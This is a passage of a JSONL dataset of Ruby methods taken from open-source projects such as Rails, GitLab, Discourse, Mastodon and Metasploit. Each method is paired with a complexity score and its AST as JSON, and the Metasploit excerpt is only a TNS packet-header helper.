LAST\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"host_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"id\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"name\"]}]}]}]}]},null]}]}]}","id":"879a5e00-64a3-4832-9198-5fa826d2bc10"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/validations.rb","start_line":9,"raw_source":"def validate\n      @error = nil\n\n      self.class.validations.each do |validation|\n        @error = validation[:options][:error] unless send(\"validate_#{validation[:attribute]}\")\n        break if @error\n      end\n    end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@error\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"validations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"validation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"validate_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attribute\"]}]}]}]}]},null,{\"type\":\"ivasgn\",\"children\":[\"@error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"options\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@error\"]},{\"type\":\"break\",\"children\":[]},null]}]}]}]}]}","id":"cc012b6c-622b-4b73-a9d8-590b4d050745"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/forem_instance.rb","start_line":32,"raw_source":"def self.from_email_address\n    # same comment applies from self.reply_to_email_address\n    Settings::SMTP.provided_minimum_settings? ? Settings::SMTP.from_email_address : email\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_email_address\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"SMTP\"]},\"provided_minimum_settings?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"SMTP\"]},\"from_email_address\"]},{\"type\":\"send\",\"children\":[null,\"email\"]}]}]}","id":"69371ff0-89ac-4ccd-b170-d98b42474dc8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":885,"raw_source":"def test_add_foreign_key_preserves_existing_column_types\n          assert_no_changes -> { column_for(:astronauts, :rocket_id).bigint? }, from: true do\n            @connection.add_foreign_key :astronauts, :rockets\n          end\n        end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_foreign_key_preserves_existing_column_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_changes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_for\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rocket_id\"]}]},\"bigint?\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]}]}]}]}","id":"9b973937-589c-42b1-8358-e6b968bd6b6b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/oracle/tns_auth_sesskey.rb","start_line":256,"raw_source":"def nsptda_packet(data)\n    pkt = [data.length + 10].pack('n')    # NSPHDLEN\n    pkt << [0].pack('n')                  # NSPHDPSM\n    pkt << [6].pack('C')                  # pkt type\n    pkt << [0].pack('C')                  # reserved\n    pkt << [0].pack('n')                  # NSPHDHSM\n    pkt << [0].pack('n')                  # NSPDAFLG\n    pkt << data\n    return pkt\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"nsptda_packet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[10]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[6]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]}]}]}]}","id":"936923c4-a007-4242-aa3d-31ca718d561f"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/mylittleforum.rb","start_line":195,"raw_source":"def import_users\n    puts \"\", \"creating users\"\n\n    # MLF 1.x used 'user_place', MLF 2.x uses 'user_location'\n    location_col =\n      if mysql_query(\"SHOW COLUMNS FROM #{TABLE_PREFIX}userdata LIKE 'user_place'\").any?\n        \"user_place\"\n      else\n        \"user_location\"\n      end\n\n    total_count =\n      mysql_query(\n        \"SELECT count(*) count FROM #{TABLE_PREFIX}userdata WHERE last_login > '#{IMPORT_AFTER}';\",\n      ).first[\n        \"count\"\n      ]\n\n    batches(BATCH_SIZE) do |offset|\n      results =\n        mysql_query(\n          \"\n             SELECT user_id as UserID, user_name as username,\n                user_real_name as Name,\n                user_email as Email,\n                user_hp as website,\n                #{location_col} as Location,\n                profile as bio_raw,\n                last_login as DateLastActive,\n                user_ip as InsertIPAddress,\n                user_pw as password,\n                logins as days_visited, # user_stats\n                registered as DateInserted,\n                user_pw as password,\n                user_type\n             FROM #{TABLE_PREFIX}userdata\n\t\t WHERE last_login > '#{IMPORT_AFTER}'\n                 order by UserID ASC\n                 LIMIT #{BATCH_SIZE}\n                 OFFSET #{offset};\",\n        )\n\n      break if results.size < 1\n\n      next if all_records_exist? :users, results.map { |u| u[\"UserID\"].to_i }\n\n      create_users(results, total: total_count, offset: offset) do |user|\n        # respect already \"prepared\" users created earlier (e.g. via mbox import)\n        next if user[\"Email\"].blank?\n        if existing = User.find_by_email(user[\"Email\"])\n          @lookup.add_user(user[\"UserID\"].to_s, existing)\n          next\n        end\n        next if @lookup.user_id_from_imported_user_id(user[\"UserID\"])\n\n        # username = fix_username(user['username'])\n\n        {\n          id: user[\"UserID\"],\n          email: user[\"Email\"],\n          username: user[\"username\"],\n          name: user[\"Name\"],\n          staged: STAGE_IMPORTED_USERS,\n          created_at: user[\"DateInserted\"] == nil ? 0 : Time.zone.at(user[\"DateInserted\"]),\n          bio_raw: user[\"bio_raw\"],\n          registration_ip_address: user[\"InsertIPAddress\"],\n          website: user[\"user_hp\"],\n          password: user[\"password\"],\n          last_seen_at: user[\"DateLastActive\"] == nil ? 0 : Time.zone.at(user[\"DateLastActive\"]),\n          location: user[\"Location\"],\n          admin: user[\"user_type\"] == \"admin\",\n          moderator: user[\"user_type\"] == \"mod\",\n        }\n      end\n    end\n  end","complexity_score":86.35,"ast_json":"{\"type\":\"def\",\"children\":[\"import_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating users\"]}]},{\"type\":\"lvasgn\",\"children\":[\"location_col\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SHOW COLUMNS FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"userdata LIKE 'user_place'\"]}]}]},\"any?\"]},{\"type\":\"str\",\"children\":[\"user_place\"]},{\"type\":\"str\",\"children\":[\"user_location\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT count(*) count FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"userdata WHERE last_login > '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IMPORT_AFTER\"]}]},{\"type\":\"str\",\"children\":[\"';\"]}]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"count\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"             SELECT user_id as UserID, user_name as username,\\n\"]},{\"type\":\"str\",\"children\":[\"                user_real_name as Name,\\n\"]},{\"type\":\"str\",\"children\":[\"                user_email as Email,\\n\"]},{\"type\":\"str\",\"children\":[\"                user_hp as website,\\n\"]},{\"type\":\"str\",\"children\":[\"                \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location_col\"]}]},{\"type\":\"str\",\"children\":[\" as Location,\\n\"]},{\"type\":\"str\",\"children\":[\"                profile as bio_raw,\\n\"]},{\"type\":\"str\",\"children\":[\"                last_login as DateLastActive,\\n\"]},{\"type\":\"str\",\"children\":[\"                user_ip as InsertIPAddress,\\n\"]},{\"type\":\"str\",\"children\":[\"                user_pw as password,\\n\"]},{\"type\":\"str\",\"children\":[\"                logins as days_visited, # user_stats\\n\"]},{\"type\":\"str\",\"children\":[\"                registered as DateInserted,\\n\"]},{\"type\":\"str\",\"children\":[\"                user_pw as password,\\n\"]},{\"type\":\"str\",\"children\":[\"                user_type\\n\"]},{\"type\":\"str\",\"children\":[\"             FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"userdata\\n\"]},{\"type\":\"str\",\"children\":[\"\\t\\t WHERE last_login > '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IMPORT_AFTER\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"                 order by UserID ASC\\n\"]},{\"type\":\"str\",\"children\":[\"                 LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                 OFFSET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_records_exist?\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UserID\"]}]},\"to_i\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_users\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Email\"]}]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Email\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"add_user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UserID\"]}]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"existing\"]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UserID\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UserID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"staged\"]},{\"type\":\"const\",\"children\":[null,\"STAGE_IMPORTED_USERS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DateInserted\"]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DateInserted\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bio_raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"bio_raw\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registration_ip_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"InsertIPAddress\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"website\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_hp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_seen_at\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DateLastActive\"]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DateLastActive\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"moderator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"mod\"]}]}]}]}]}]}]}]}]}]}","id":"98556bb2-b54e-464a-85c3-c356dfc7f9aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/resource_events/synthetic_label_notes_builder_service.rb","start_line":18,"raw_source":"def label_events_by_discussion_id\n      return [] unless resource.respond_to?(:resource_label_events)\n\n      events = resource.resource_label_events.includes(:label, user: :status) # rubocop: disable CodeReuse/ActiveRecord\n      events = apply_common_filters(events)\n\n      events.group_by { |event| event.discussion_id }\n    end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"label_events_by_discussion_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"resource_label_events\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"resource_label_events\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"send\",\"children\":[null,\"apply_common_filters\",{\"type\":\"lvar\",\"children\":[\"events\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"discussion_id\"]}]}]}]}","id":"586fee7a-143d-4ca1-9101-44a3a73e0b7f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/initializers/i18n_test.rb","start_line":23,"raw_source":"def app\n      @app ||= Rails.application\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"app\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]}]}]}","id":"7a4d4e21-1581-4d8d-a88c-31803cb9fdeb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/agents/authorizations/ci_access/group_authorization.rb","start_line":17,"raw_source":"def config_project\n            agent.project\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"config_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"agent\"]},\"project\"]}]}","id":"b2a94147-d077-4fb1-ab5a-9c91ed11af08"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/email_domain_blocks_controller.rb","start_line":57,"raw_source":"def next_path\n    api_v1_admin_email_domain_blocks_url(pagination_params(max_id: pagination_max_id)) if records_continue?\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"next_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"records_continue?\"]},{\"type\":\"send\",\"children\":[null,\"api_v1_admin_email_domain_blocks_url\",{\"type\":\"send\",\"children\":[null,\"pagination_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_id\"]},{\"type\":\"send\",\"children\":[null,\"pagination_max_id\"]}]}]}]}]},null]}]}","id":"fcb1b64b-ff99-41d7-9b59-65ad2a406d82"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_job_artifact_final_objects/rollback_deleted_objects.rb","start_line":85,"raw_source":"def rollback(fog_file)\n          fog_file.copy(\n            fog_file.directory.key,\n            fog_file.key,\n            source_generation: fog_file.generation,\n            if_generation_match: 0 # Makes the request fail if there is aleady a live version\n          )\n\n          log_rolled_back_object(fog_file)\n        rescue Google::Apis::ClientError => error\n          raise error unless error.message.include?('conditionNotMet')\n\n          log_info(\"There is already a live version for object #{fog_file.key}, skipping.\")\n        end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rollback\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fog_file\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fog_file\"]},\"copy\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fog_file\"]},\"directory\"]},\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fog_file\"]},\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_generation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fog_file\"]},\"generation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_generation_match\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_rolled_back_object\",{\"type\":\"lvar\",\"children\":[\"fog_file\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Apis\"]},\"ClientError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]},\"include?\",{\"type\":\"str\",\"children\":[\"conditionNotMet\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log_info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"There is already a live version for object \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fog_file\"]},\"key\"]}]},{\"type\":\"str\",\"children\":[\", skipping.\"]}]}]}]}]},null]}]}","id":"17c4dc8a-9723-43f5-badb-77b18ba2b02c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/redirecting.rb","start_line":317,"raw_source":"def _ensure_url_is_http_header_safe(url)\n        # Attempt to comply with the set of valid token characters defined for an HTTP\n        # header value in https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.6\n        if url.match?(ILLEGAL_HEADER_VALUE_REGEX)\n          msg = \"The redirect URL #{url} contains one or more illegal HTTP header field character. \" \\\n            \"Set of legal characters defined in https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.6\"\n          raise UnsafeRedirectError, msg\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"_ensure_url_is_http_header_safe\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"ILLEGAL_HEADER_VALUE_REGEX\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The redirect URL \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\" contains one or more illegal HTTP header field character. 